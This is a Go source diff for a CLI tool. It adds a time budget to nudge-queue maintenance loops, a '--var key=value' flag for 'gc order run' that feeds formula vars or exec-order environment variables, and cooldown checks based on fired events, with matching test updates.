@@ -1685,13 +1797,14 @@ func listQueuedNudges(cityPath, agentName string, now time.Time) ([]queuedNudge,
 	var inFlight []queuedNudge
 	var dead []queuedNudge
 	err := withNudgeQueueState(cityPath, func(state *nudgeQueueState) error {
-		if err := recoverExpiredInFlightNudges(state, front, now); err != nil {
+		deadline := noMaintenanceDeadline()
+		if err := recoverExpiredInFlightNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneExpiredQueuedNudges(state, front, now); err != nil {
+		if err := pruneExpiredQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneDeadQueuedNudges(state, front, now); err != nil {
+		if err := pruneDeadQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
 		for _, item := range state.Pending {
@@ -1725,13 +1838,14 @@ func listQueuedNudgesForTarget(cityPath string, target nudgeTarget, now time.Tim
 	var inFlight []queuedNudge
 	var dead []queuedNudge
 	err := withNudgeQueueState(cityPath, func(state *nudgeQueueState) error {
-		if err := recoverExpiredInFlightNudges(state, front, now); err != nil {
+		deadline := noMaintenanceDeadline()
+		if err := recoverExpiredInFlightNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneExpiredQueuedNudges(state, front, now); err != nil {
+		if err := pruneExpiredQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneDeadQueuedNudges(state, front, now); err != nil {
+		if err := pruneDeadQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
 		for _, item := range state.Pending {
@@ -1827,13 +1941,14 @@ func enqueueQueuedNudgeWithStore(cityPath string, store beads.NudgesStore, item
 	}
 	err = withNudgeQueueState(cityPath, func(state *nudgeQueueState) error {
 		now := time.Now()
-		if err := recoverExpiredInFlightNudges(state, front, now); err != nil {
+		deadline := now.Add(nudgeEnqueueMaintenanceBudget)
+		if err := recoverExpiredInFlightNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneExpiredQueuedNudges(state, front, now); err != nil {
+		if err := pruneExpiredQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneDeadQueuedNudges(state, front, now); err != nil {
+		if err := pruneDeadQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
 		if queuedNudgeExists(state, item.ID) {
@@ -1847,7 +1962,11 @@ func enqueueQueuedNudgeWithStore(cityPath string, store beads.NudgesStore, item
 					existing.Reference.ID == item.Reference.ID
 			}
 			filtered := state.Pending[:0]
-			for _, existing := range state.Pending {
+			for i, existing := range state.Pending {
+				if time.Now().After(deadline) {
+					filtered = append(filtered, state.Pending[i:]...)
+					break
+				}
 				if matchesSupersession(existing) {
 					existing.DeadAt = now.UTC()
 					existing.LastError = "superseded"
@@ -1865,7 +1984,11 @@ func enqueueQueuedNudgeWithStore(cityPath string, store beads.NudgesStore, item
 			// ack/failure won't find the item in InFlight and will no-op.
 			// This causes at most one redundant delivery, not data corruption.
 			inFlight := state.InFlight[:0]
-			for _, existing := range state.InFlight {
+			for i, existing := range state.InFlight {
+				if time.Now().After(deadline) {
+					inFlight = append(inFlight, state.InFlight[i:]...)
+					break
+				}
 				if matchesSupersession(existing) {
 					existing.DeadAt = now.UTC()
 					existing.LastError = "superseded"
@@ -1922,13 +2045,14 @@ func ackQueuedNudgesWithOutcome(cityPath string, ids []string, outcome, reason,
 	}
 	return withNudgeQueueState(cityPath, func(state *nudgeQueueState) error {
 		now := time.Now()
-		if err := recoverExpiredInFlightNudges(state, front, now); err != nil {
+		deadline := noMaintenanceDeadline()
+		if err := recoverExpiredInFlightNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneExpiredQueuedNudges(state, front, now); err != nil {
+		if err := pruneExpiredQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneDeadQueuedNudges(state, front, now); err != nil {
+		if err := pruneDeadQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
 		var terminal []queuedNudge
@@ -1975,13 +2099,14 @@ func releaseQueuedNudgeClaims(cityPath string, ids []string) error {
 	}
 	return withNudgeQueueState(cityPath, func(state *nudgeQueueState) error {
 		now := time.Now()
-		if err := recoverExpiredInFlightNudges(state, front, now); err != nil {
+		deadline := noMaintenanceDeadline()
+		if err := recoverExpiredInFlightNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneExpiredQueuedNudges(state, front, now); err != nil {
+		if err := pruneExpiredQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneDeadQueuedNudges(state, front, now); err != nil {
+		if err := pruneDeadQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
 		var released []queuedNudge
@@ -2039,13 +2164,14 @@ func recordQueuedNudgeFailureDetailed(cityPath string, store beads.NudgesStore,
 	var deadLettered []queuedNudge
 	err := withNudgeQueueState(cityPath, func(state *nudgeQueueState) error {
 		deadLettered = deadLettered[:0]
-		if err := recoverExpiredInFlightNudges(state, front, now); err != nil {
+		deadline := noMaintenanceDeadline()
+		if err := recoverExpiredInFlightNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneExpiredQueuedNudges(state, front, now); err != nil {
+		if err := pruneExpiredQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneDeadQueuedNudges(state, front, now); err != nil {
+		if err := pruneDeadQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
 		var requeued []queuedNudge
@@ -2131,9 +2257,21 @@ func terminalStateForDeadQueuedNudge(item queuedNudge) string {
 	}
 }
 
-func pruneExpiredQueuedNudges(state *nudgeQueueState, front *nudgequeue.Store, now time.Time) error {
+// noMaintenanceDeadline returns a deadline far enough in the future that a
+// nudge-queue maintenance pass never stops early. Callers outside the
+// latency-sensitive foreground enqueue path (poller, doctor, list/ack/release)
+// want the full backlog drained every time, matching pre-budget behavior.
+func noMaintenanceDeadline() time.Time {
+	return time.Now().Add(24 * time.Hour)
+}
+
+func pruneExpiredQueuedNudges(state *nudgeQueueState, front *nudgequeue.Store, now, deadline time.Time) error {
 	filtered := state.Pending[:0]
-	for _, item := range state.Pending {
+	for i, item := range state.Pending {
+		if time.Now().After(deadline) {
+			filtered = append(filtered, state.Pending[i:]...)
+			break
+		}
 		if !item.ExpiresAt.IsZero() && !item.ExpiresAt.After(now) {
 			item.DeadAt = now.UTC()
 			if item.LastError == "" {
@@ -2152,9 +2290,13 @@ func pruneExpiredQueuedNudges(state *nudgeQueueState, front *nudgequeue.Store, n
 	return nil
 }
 
-func recoverExpiredInFlightNudges(state *nudgeQueueState, front *nudgequeue.Store, now time.Time) error {
+func recoverExpiredInFlightNudges(state *nudgeQueueState, front *nudgequeue.Store, now, deadline time.Time) error {
 	filtered := state.InFlight[:0]
-	for _, item := range state.InFlight {
+	for i, item := range state.InFlight {
+		if time.Now().After(deadline) {
+			filtered = append(filtered, state.InFlight[i:]...)
+			break
+		}
 		if !item.ExpiresAt.IsZero() && !item.ExpiresAt.After(now) {
 			item.DeadAt = now.UTC()
 			if item.LastError == "" {
@@ -2182,10 +2324,14 @@ func recoverExpiredInFlightNudges(state *nudgeQueueState, front *nudgequeue.Stor
 // pruneDeadQueuedNudges removes dead-letter items older than defaultQueuedNudgeDeadRetention
 // when a durable terminal bead record exists in the store. Items without a confirmed terminal
 // bead are retained so terminal history is not lost if the bead store write failed.
-func pruneDeadQueuedNudges(state *nudgeQueueState, front *nudgequeue.Store, now time.Time) error {
+func pruneDeadQueuedNudges(state *nudgeQueueState, front *nudgequeue.Store, now, deadline time.Time) error {
 	cutoff := now.Add(-defaultQueuedNudgeDeadRetention)
 	filtered := state.Dead[:0]
-	for _, item := range state.Dead {
+	for i, item := range state.Dead {
+		if time.Now().After(deadline) {
+			filtered = append(filtered, state.Dead[i:]...)
+			break
+		}
 		if item.BeadID != "" {
 			if front == nil {
 				// No store available — retain the item to avoid data loss.
diff --git a/cmd/gc/cmd_nudge_test.go b/cmd/gc/cmd_nudge_test.go
index c55d549094..670ebf216e 100644
--- a/cmd/gc/cmd_nudge_test.go
+++ b/cmd/gc/cmd_nudge_test.go
@@ -270,7 +270,7 @@ func TestPruneExpiredQueuedNudgesIgnoresMissingTerminalBead(t *testing.T) {
 		},
 	}
 
-	if err := pruneExpiredQueuedNudges(state, nudgeFrontDoor(store), now); err != nil {
+	if err := pruneExpiredQueuedNudges(state, nudgeFrontDoor(store), now, noMaintenanceDeadline()); err != nil {
 		t.Fatalf("pruneExpiredQueuedNudges: %v", err)
 	}
 	if len(state.Pending) != 0 {
@@ -305,7 +305,7 @@ func TestPruneDeadQueuedNudgesRepairsMissingTerminalBeadRecord(t *testing.T) {
 	item.DeadAt = now.Add(-30 * time.Minute)
 
 	state := &nudgeQueueState{Dead: []queuedNudge{item}}
-	if err := pruneDeadQueuedNudges(state, nudgeFrontDoor(store), now); err != nil {
+	if err := pruneDeadQueuedNudges(state, nudgeFrontDoor(store), now, noMaintenanceDeadline()); err != nil {
 		t.Fatalf("pruneDeadQueuedNudges: %v", err)
 	}
 	if len(state.Dead) != 1 {
@@ -385,7 +385,7 @@ func TestPruneExpiredQueuedNudgesWithAmbiguousBeadIDContinues(t *testing.T) {
 		},
 	}
 
-	if err := pruneExpiredQueuedNudges(state, nudgeFrontDoor(store), now); err != nil {
+	if err := pruneExpiredQueuedNudges(state, nudgeFrontDoor(store), now, noMaintenanceDeadline()); err != nil {
 		t.Fatalf("pruneExpiredQueuedNudges: %v", err)
 	}
 	if len(state.Pending) != 0 {
@@ -437,10 +437,10 @@ func TestExpiredNudgeCleanupSurvivesNilFrontDoor(t *testing.T) {
 		}},
 	}
 
-	if err := recoverExpiredInFlightNudges(state, front, now); err != nil {
+	if err := recoverExpiredInFlightNudges(state, front, now, noMaintenanceDeadline()); err != nil {
 		t.Fatalf("recoverExpiredInFlightNudges with nil front: %v", err)
 	}
-	if err := pruneExpiredQueuedNudges(state, front, now); err != nil {
+	if err := pruneExpiredQueuedNudges(state, front, now, noMaintenanceDeadline()); err != nil {
 		t.Fatalf("pruneExpiredQueuedNudges with nil front: %v", err)
 	}
 
@@ -2453,7 +2453,7 @@ func TestTryDeliverQueuedNudgesByPollerDeliversAndAcks(t *testing.T) {
 	}
 	obs := worker.LiveObservation{Running: true, LastActivity: &idleSince}
 
-	delivered, err := tryDeliverQueuedNudgesByPoller(target, store, fake, 3*time.Second, obs)
+	delivered, err := tryDeliverQueuedNudgesByPoller(target, store, store, fake, 3*time.Second, obs)
 	if err != nil {
 		t.Fatalf("tryDeliverQueuedNudgesByPoller: %v", err)
 	}
@@ -2521,7 +2521,7 @@ func TestTryDeliverQueuedNudgesByPollerDeliversActivitylessTimedOnlySession(t *t
 	}
 	obs := worker.LiveObservation{Running: true}
 
-	delivered, err := tryDeliverQueuedNudgesByPoller(target, store, fake, 3*time.Second, obs)
+	delivered, err := tryDeliverQueuedNudgesByPoller(target, store, store, fake, 3*time.Second, obs)
 	if err != nil {
 		t.Fatalf("tryDeliverQueuedNudgesByPoller: %v", err)
 	}
@@ -2627,7 +2627,7 @@ func TestTryDeliverQueuedNudgesByPollerSkipsStaleSessionGeneration(t *testing.T)
 		t.Fatalf("workerObserveNudgeTarget: %v", err)
 	}
 	if obs.Running {
-		delivered, err := tryDeliverQueuedNudgesByPoller(target, store, fake, 3*time.Second, obs)
+		delivered, err := tryDeliverQueuedNudgesByPoller(target, store, store, fake, 3*time.Second, obs)
 		if err != nil {
 			t.Fatalf("tryDeliverQueuedNudgesByPoller: %v", err)
 		}
@@ -2672,7 +2672,7 @@ func TestTryDeliverQueuedNudgesByPollerLeavesACPDeliveryUnwrapped(t *testing.T)
 	}
 	obs := worker.LiveObservation{Running: true, LastActivity: &idleSince}
 
-	delivered, err := tryDeliverQueuedNudgesByPoller(target, openNudgeBeadStore(dir).Store, fake, 3*time.Second, obs)
+	delivered, err := tryDeliverQueuedNudgesByPoller(target, openNudgeBeadStore(dir).Store, openNudgeBeadStore(dir).Store, fake, 3*time.Second, obs)
 	if err != nil {
 		t.Fatalf("tryDeliverQueuedNudgesByPoller: %v", err)
 	}
@@ -2722,7 +2722,7 @@ func TestTryDeliverQueuedNudgesByPollerKeepsACPProviderMissRecoverable(t *testin
 	obs := worker.LiveObservation{Running: true, LastActivity: &idleSince}
 
 	for i := 0; i < defaultQueuedNudgeMaxAttempts; i++ {
-		delivered, err := tryDeliverQueuedNudgesByPoller(target, openNudgeBeadStore(dir).Store, fake, 3*time.Second, obs)
+		delivered, err := tryDeliverQueuedNudgesByPoller(target, openNudgeBeadStore(dir).Store, openNudgeBeadStore(dir).Store, fake, 3*time.Second, obs)
 		if err != nil {
 			t.Fatalf("tryDeliverQueuedNudgesByPoller tick %d: %v", i+1, err)
 		}
@@ -2801,7 +2801,7 @@ func TestTryDeliverQueuedNudgesByPollerReleasesClaimsWhenDeliveryDeclined(t *tes
 	}
 	obs := worker.LiveObservation{Running: true, LastActivity: &idleSince}
 
-	delivered, err := tryDeliverQueuedNudgesByPoller(target, store, fake, 3*time.Second, obs)
+	delivered, err := tryDeliverQueuedNudgesByPoller(target, store, store, fake, 3*time.Second, obs)
 	if err != nil {
 		t.Fatalf("tryDeliverQueuedNudgesByPoller: %v", err)
 	}
@@ -2878,7 +2878,7 @@ func TestTryDeliverQueuedNudgesByPollerDeliversDespiteStaleFenceBeadMarkFailure(
 	}
 	obs := worker.LiveObservation{Running: true, LastActivity: &idleSince}
 
-	delivered, err := tryDeliverQueuedNudgesByPoller(target, store, fake, 3*time.Second, obs)
+	delivered, err := tryDeliverQueuedNudgesByPoller(target, store, store, fake, 3*time.Second, obs)
 	if err != nil {
 		t.Fatalf("tryDeliverQueuedNudgesByPoller: %v", err)
 	}
@@ -4257,7 +4257,7 @@ func TestPruneDeadQueuedNudges_RemovesOldDeadItems(t *testing.T) {
 	// With defaultQueuedNudgeDeadRetention (1h), old should be pruned (has terminal bead), recent kept.
 	store := openNudgeBeadStore(dir)
 	err := withNudgeQueueState(dir, func(state *nudgeQueueState) error {
-		return pruneDeadQueuedNudges(state, nudgeFrontDoor(store), now)
+		return pruneDeadQueuedNudges(state, nudgeFrontDoor(store), now, noMaintenanceDeadline())
 	})
 	if err != nil {
 		t.Fatalf("pruneDeadQueuedNudges: %v", err)
@@ -4295,7 +4295,7 @@ func TestPruneDeadQueuedNudges_RetainsItemsWithoutBeadID(t *testing.T) {
 	}
 
 	err = withNudgeQueueState(dir, func(state *nudgeQueueState) error {
-		return pruneDeadQueuedNudges(state, nil, now)
+		return pruneDeadQueuedNudges(state, nil, now, noMaintenanceDeadline())
 	})
 	if err != nil {
 		t.Fatalf("pruneDeadQueuedNudges: %v", err)
diff --git a/cmd/gc/cmd_order.go b/cmd/gc/cmd_order.go
index d402cfadab..938955e8de 100644
--- a/cmd/gc/cmd_order.go
+++ b/cmd/gc/cmd_order.go
@@ -109,6 +109,7 @@ Use --rig to disambiguate same-name orders in different rigs.`,
 func newOrderRunCmd(stdout, stderr io.Writer) *cobra.Command {
 	var rig string
 	var jsonOutput bool
+	var varFlags []string
 	cmd := &cobra.Command{
 		Use:   "run <name>",
 		Short: "Execute an order manually",
@@ -119,10 +120,17 @@ to the configured target (if any). Exec orders run their script directly
 — no wisp is created, and --json is rejected because the exec body may
 write arbitrary stdout. Useful for testing orders or triggering them
 outside their normal schedule.
-Use --rig to disambiguate same-name orders in different rigs.`,
+Use --rig to disambiguate same-name orders in different rigs.
+Use --var key=value (repeatable) to pass args to the order: formula orders
+receive them as formula vars, exec orders as environment variables. A param
+declared required in [order.params] must be supplied or the run fails.`,
 		Args: cobra.ExactArgs(1),
 		RunE: func(_ *cobra.Command, args []string) error {
-			if cmdOrderRun(args[0], rig, jsonOutput, stdout, stderr) != 0 {
+			vars, ok := parseOrderRunVarFlags(varFlags, stderr)
+			if !ok {
+				return errExit
+			}
+			if cmdOrderRun(args[0], rig, jsonOutput, vars, stdout, stderr) != 0 {
 				return errExit
 			}
 			return nil
@@ -131,10 +139,29 @@ Use --rig to disambiguate same-name orders in different rigs.`,
 	}
 	cmd.Flags().StringVar(&rig, "rig", "", "rig name to disambiguate same-name orders")
 	cmd.Flags().BoolVar(&jsonOutput, "json", false, "JSON output (formula orders only; rejected for exec orders)")
+	cmd.Flags().StringArrayVar(&varFlags, "var", nil, "order arg as key=value (repeatable): formula var / exec env")
 	_ = cmd.RegisterFlagCompletionFunc("rig", completeRigFlagNames)
 	return cmd
 }
 
+// parseOrderRunVarFlags parses repeated --var key=value flags into a map.
+// It reports false (after writing to stderr) on the first malformed entry.
+func parseOrderRunVarFlags(varFlags []string, stderr io.Writer) (map[string]string, bool) {
+	if len(varFlags) == 0 {
+		return nil, true
+	}
+	vars := make(map[string]string, len(varFlags))
+	for _, v := range varFlags {
+		key, value, ok := strings.Cut(v, "=")
+		if !ok || strings.TrimSpace(key) == "" {
+			fmt.Fprintf(stderr, "gc order run: invalid --var %q (expected key=value)\n", v) //nolint:errcheck // best-effort stderr
+			return nil, false
+		}
+		vars[key] = value
+	}
+	return vars, true
+}
+
 func newOrderCheckCmd(stdout, stderr io.Writer) *cobra.Command {
 	var jsonOutput bool
 	cmd := &cobra.Command{
@@ -569,7 +596,7 @@ func doOrderShow(aa []orders.Order, name, rig string, stdout, stderr io.Writer)
 
 // --- gc order run ---
 
-func cmdOrderRun(name, rig string, jsonOutput bool, stdout, stderr io.Writer) int {
+func cmdOrderRun(name, rig string, jsonOutput bool, vars map[string]string, stdout, stderr io.Writer) int {
 	cityPath, cfg, aa, code := loadOrdersWithCity(stderr, "gc order run")
 	if code != 0 {
 		return code
@@ -579,6 +606,10 @@ func cmdOrderRun(name, rig string, jsonOutput bool, stdout, stderr io.Writer) in
 		fmt.Fprintf(stderr, "gc order run: order %q not found\n", name) //nolint:errcheck // best-effort stderr
 		return 1
 	}
+	if err := orders.ValidateRequiredParams(a, vars); err != nil {
+		fmt.Fprintf(stderr, "gc order run: %v\n", err) //nolint:errcheck // best-effort stderr
+		return 1
+	}
 	if a.IsExec() {
 		if jsonOutput {
 			fmt.Fprintln(stderr, "gc order run: --json is not supported for exec orders because the exec body may write arbitrary stdout") //nolint:errcheck // best-effort stderr
@@ -589,7 +620,7 @@ func cmdOrderRun(name, rig string, jsonOutput bool, stdout, stderr io.Writer) in
 		// scoped tracking bead so `gc order check` sees the run and the order does
 		// not re-fire every tick (#3570).
 		if a.Trigger != "event" && !orderTriggerUsesLastRun(a) {
-			return doOrderRunExec(a, cityPath, cfg, stdout, stderr)
+			return doOrderRunExec(a, cityPath, cfg, vars, stdout, stderr)
 		}
 		store, storeCode := openOrderStoreForOrder(cityPath, cfg, a, stderr, "gc order run")
 		if store.Store == nil {
@@ -606,7 +637,7 @@ func cmdOrderRun(name, rig string, jsonOutput bool, stdout, stderr io.Writer) in
 			}
 			defer ep.Close() //nolint:errcheck // best-effort
 		}
-		return doOrderRunExecTracked(a, cityPath, cfg, orders.NewStore(store), ep, stdout, stderr)
+		return doOrderRunExecTracked(a, cityPath, cfg, orders.NewStore(store), ep, vars, stdout, stderr)
 	}
 	store, storeCode := openOrderStoreForOrder(cityPath, cfg, a, stderr, "gc order run")
 	if store.Store == nil {
@@ -618,14 +649,14 @@ func cmdOrderRun(name, rig string, jsonOutput bool, stdout, stderr io.Writer) in
 		return epCode
 	}
 	defer ep.Close() //nolint:errcheck // best-effort
-	return doOrderRunWithJSON(aa, name, rig, cityPath, store, ep, jsonOutput, stdout, stderr)
+	return doOrderRunWithJSON(aa, name, rig, cityPath, store, ep, jsonOutput, vars, stdout, stderr)
 }
 
 // doOrderRun executes an order manually: instantiates a wisp from the
 // order's formula (or runs exec script directly) and routes it to the
 // configured target.
 func doOrderRun(aa []orders.Order, name, rig, cityPath string, store beads.OrdersStore, ep events.Provider, stdout, stderr io.Writer) int {
-	return doOrderRunWithJSON(aa, name, rig, cityPath, store, ep, false, stdout, stderr)
+	return doOrderRunWithJSON(aa, name, rig, cityPath, store, ep, false, nil, stdout, stderr)
 }
 
 type orderRunJSON struct {
@@ -640,7 +671,7 @@ type orderRunJSON struct {
 	EventCursor   uint64 `json:"event_cursor,omitempty"`
 }
 
-func doOrderRunWithJSON(aa []orders.Order, name, rig, cityPath string, store beads.OrdersStore, ep events.Provider, jsonOutput bool, stdout, stderr io.Writer) int {
+func doOrderRunWithJSON(aa []orders.Order, name, rig, cityPath string, store beads.OrdersStore, ep events.Provider, jsonOutput bool, vars map[string]string, stdout, stderr io.Writer) int {
 	a, ok := findOrder(aa, name, rig)
 	if !ok {
 		fmt.Fprintf(stderr, "gc order run: order %q not found\n", name) //nolint:errcheck // best-effort stderr
@@ -658,7 +689,7 @@ func doOrderRunWithJSON(aa []orders.Order, name, rig, cityPath string, store bea
 			fmt.Fprintf(stderr, "gc order run: %v\n", cfgErr) //nolint:errcheck // best-effort stderr
 			return 1
 		}
-		return doOrderRunExecTracked(a, cityPath, cfg, orders.NewStore(store), ep, stdout, stderr)
+		return doOrderRunExecTracked(a, cityPath, cfg, orders.NewStore(store), ep, vars, stdout, stderr)
 	}
 
 	// Capture event head before wisp creation (race-free cursor). Event runs
@@ -698,7 +729,7 @@ func doOrderRunWithJSON(aa []orders.Order, name, rig, cityPath string, store bea
 	// GraphApplyStore and silently fall back to sequential creation. store stays
 	// the typed wrapper for the order-tracking bead operations below.
 	genericStore := store.Store
-	recipe, err := prepareOrderWispRecipe(context.Background(), genericStore, a, searchPaths)
+	recipe, err := prepareOrderWispRecipe(context.Background(), genericStore, a, searchPaths, vars)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc order run: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -788,7 +819,7 @@ func doOrderRunWithJSON(aa []orders.Order, name, rig, cityPath string, store bea
 	return 0
 }
 
-func doOrderRunExecTracked(a orders.Order, cityPath string, cfg *config.City, front *orders.Store, ep events.Provider, stdout, stderr io.Writer) int {
+func doOrderRunExecTracked(a orders.Order, cityPath string, cfg *config.City, front *orders.Store, ep events.Provider, vars map[string]string, stdout, stderr io.Writer) int {
 	scoped := a.ScopedName()
 
 	// Event-triggered orders capture the event cursor before the side effect so
@@ -828,7 +859,7 @@ func doOrderRunExecTracked(a orders.Order, cityPath string, cfg *config.City, fr
 		}
 	}
 
-	result := doOrderRunExecResult(a, cityPath, cfg, stdout, stderr)
+	result := doOrderRunExecResult(a, cityPath, cfg, vars, stdout, stderr)
 	outcome := orders.RunOutcomeExec
 	if result.code != 0 {
 		outcome = orders.RunOutcomeExecFailed
@@ -844,8 +875,8 @@ func doOrderRunExecTracked(a orders.Order, cityPath string, cfg *config.City, fr
 }
 
 // doOrderRunExec runs an exec order directly via shell.
-func doOrderRunExec(a orders.Order, cityPath string, cfg *config.City, stdout, stderr io.Writer) int {
-	return doOrderRunExecResult(a, cityPath, cfg, stdout, stderr).code
+func doOrderRunExec(a orders.Order, cityPath string, cfg *config.City, vars map[string]string, stdout, stderr io.Writer) int {
+	return doOrderRunExecResult(a, cityPath, cfg, vars, stdout, stderr).code
 }
 
 type orderRunExecResult struct {
@@ -853,7 +884,7 @@ type orderRunExecResult struct {
 	failureLabel string
 }
 
-func doOrderRunExecResult(a orders.Order, cityPath string, cfg *config.City, stdout, stderr io.Writer) orderRunExecResult {
+func doOrderRunExecResult(a orders.Order, cityPath string, cfg *config.City, vars map[string]string, stdout, stderr io.Writer) orderRunExecResult {
 	var maxTimeout time.Duration
 	if cfg != nil {
 		maxTimeout = cfg.Orders.MaxTimeoutDuration()
@@ -867,7 +898,7 @@ func doOrderRunExecResult(a orders.Order, cityPath string, cfg *config.City, std
 		fmt.Fprintf(stderr, "gc order run: %s\n", redactOrderEnvError(err, os.Environ())) //nolint:errcheck // best-effort stderr
 		return orderRunExecResult{code: 1, failureLabel: "exec-failed"}
 	}
-	env, err := orderExecEnvWithError(cityPath, cfg, target, a)
+	env, err := orderExecEnvWithError(cityPath, cfg, target, a, vars)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc order run: %s\n", redactOrderEnvError(err, os.Environ())) //nolint:errcheck // best-effort stderr
 		return orderRunExecResult{code: 1, failureLabel: "exec-env-failed"}
@@ -1042,6 +1073,17 @@ func doOrderCheckWithStoresResolverScopedJSON(cityPath string, cfg *config.City,
 		return 1
 	}
 
+	var firedEvents []events.Event
+	if ep != nil {
+		firedEvents, _ = ep.List(events.Filter{Type: events.OrderFired})
+	}
+	latestFired := make(map[string]time.Time)
+	for _, event := range firedEvents {
+		if event.Ts.After(latestFired[event.Subject]) {
+			latestFired[event.Subject] = event.Ts
+		}
+	}
+
 	if jsonOutput {
 		result := orderCheckJSON{
 			SchemaVersion: "1",
@@ -1063,6 +1105,15 @@ func doOrderCheckWithStoresResolverScopedJSON(cityPath string, cfg *config.City,
 			baseLastRunFn := orders.LastRunAcrossStores(stores...)
 			var lastRunErr error
 			lastRunFn := func(orderName string) (time.Time, error) {
+				if t, ok := latestFired[orderName]; ok && !t.IsZero() {
+					if a.Trigger == "cooldown" {
+						if interval, err := time.ParseDuration(a.Interval); err == nil && interval > 0 {
+							if now.Sub(t) < interval {
+								return t, nil
+							}
+						}
+					}
+				}
 				last, err := baseLastRunFn(orderName)
 				if err != nil {
 					lastRunErr = err
@@ -1138,6 +1189,15 @@ func doOrderCheckWithStoresResolverScopedJSON(cityPath string, cfg *config.City,
 		baseLastRunFn := orders.LastRunAcrossStores(stores...)
 		var lastRunErr error
 		lastRunFn := func(orderName string) (time.Time, error) {
+			if t, ok := latestFired[orderName]; ok && !t.IsZero() {
+				if a.Trigger == "cooldown" {
+					if interval, err := time.ParseDuration(a.Interval); err == nil && interval > 0 {
+						if now.Sub(t) < interval {
+							return t, nil
+						}
+					}
+				}
+			}
 			last, err := baseLastRunFn(orderName)
 			if err != nil {
 				lastRunErr = err
diff --git a/cmd/gc/cmd_order_test.go b/cmd/gc/cmd_order_test.go
index 2019b99d1f..774127581f 100644
--- a/cmd/gc/cmd_order_test.go
+++ b/cmd/gc/cmd_order_test.go
@@ -1029,7 +1029,7 @@ func TestOrderRunJSONFormulaSummary(t *testing.T) {
 	store := beads.NewMemStore()
 
 	var stdout, stderr bytes.Buffer
-	code := doOrderRunWithJSON(aa, "digest", "", "/city", beads.OrdersStore{Store: store}, nil, true, &stdout, &stderr)
+	code := doOrderRunWithJSON(aa, "digest", "", "/city", beads.OrdersStore{Store: store}, nil, true, nil, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("doOrderRunWithJSON = %d, want 0; stderr: %s", code, stderr.String())
 	}
@@ -1107,7 +1107,7 @@ func TestOrderRunJSONRejectsExecWithoutRunning(t *testing.T) {
 	}
 
 	var stdout, stderr bytes.Buffer
-	code := doOrderRunWithJSON(aa, "release-exec", "", "/city", beads.OrdersStore{Store: beads.NewMemStore()}, nil, true, &stdout, &stderr)
+	code := doOrderRunWithJSON(aa, "release-exec", "", "/city", beads.OrdersStore{Store: beads.NewMemStore()}, nil, true, nil, &stdout, &stderr)
 	if code != 1 {
 		t.Fatalf("doOrderRunWithJSON exec = %d, want 1", code)
 	}
@@ -1202,7 +1202,7 @@ on = "bead.closed"
 	}
 
 	var stdout, stderr bytes.Buffer
-	code := cmdOrderRun("release-exec", "", false, &stdout, &stderr)
+	code := cmdOrderRun("release-exec", "", false, nil, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("cmdOrderRun = %d, want 0; stderr: %s", code, stderr.String())
 	}
@@ -2359,7 +2359,7 @@ prefix = "fe"
 	}
 
 	var stdout, stderr bytes.Buffer
-	code := doOrderRunExec(a, cityDir, cfg, &stdout, &stderr)
+	code := doOrderRunExec(a, cityDir, cfg, nil, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("doOrderRunExec = %d, want 0; stderr: %s", code, stderr.String())
 	}
@@ -2432,7 +2432,7 @@ prefix = "ct"
 	}
 
 	var stdout, stderr bytes.Buffer
-	code := doOrderRunExec(a, cityDir, cfg, &stdout, &stderr)
+	code := doOrderRunExec(a, cityDir, cfg, nil, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("doOrderRunExec = %d, want 0; stderr: %s", code, stderr.String())
 	}
@@ -2519,7 +2519,7 @@ prefix = "ct"
 	}
 
 	var stdout, stderr bytes.Buffer
-	code := doOrderRunExec(a, cityDir, cfg, &stdout, &stderr)
+	code := doOrderRunExec(a, cityDir, cfg, nil, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("doOrderRunExec = %d, want 0; stderr: %s", code, stderr.String())
 	}
@@ -2579,7 +2579,7 @@ prefix = "ct"
 	}
 
 	var stdout, stderr bytes.Buffer
-	code := doOrderRunExec(a, cityDir, cfg, &stdout, &stderr)
+	code := doOrderRunExec(a, cityDir, cfg, nil, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("doOrderRunExec = %d, want 0; stderr: %s", code, stderr.String())
 	}
@@ -2660,7 +2660,7 @@ prefix = "ct"
 	}
 
 	var stdout, stderr bytes.Buffer
-	code := doOrderRunExec(a, cityDir, cfg, &stdout, &stderr)
+	code := doOrderRunExec(a, cityDir, cfg, nil, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("doOrderRunExec = %d, want 0; stderr: %s", code, stderr.String())
 	}
@@ -2690,7 +2690,7 @@ func TestOrderRunExecHonorsOrdersMaxTimeout(t *testing.T) {
 
 	var stdout, stderr bytes.Buffer
 	start := time.Now()
-	code := doOrderRunExec(a, cityDir, cfg, &stdout, &stderr)
+	code := doOrderRunExec(a, cityDir, cfg, nil, &stdout, &stderr)
 	elapsed := time.Since(start)
 	if code == 0 {
 		t.Fatalf("doOrderRunExec = 0, want timeout failure; stdout=%q stderr=%q", stdout.String(), stderr.String())
@@ -2723,7 +2723,7 @@ dolt.auto-start: false
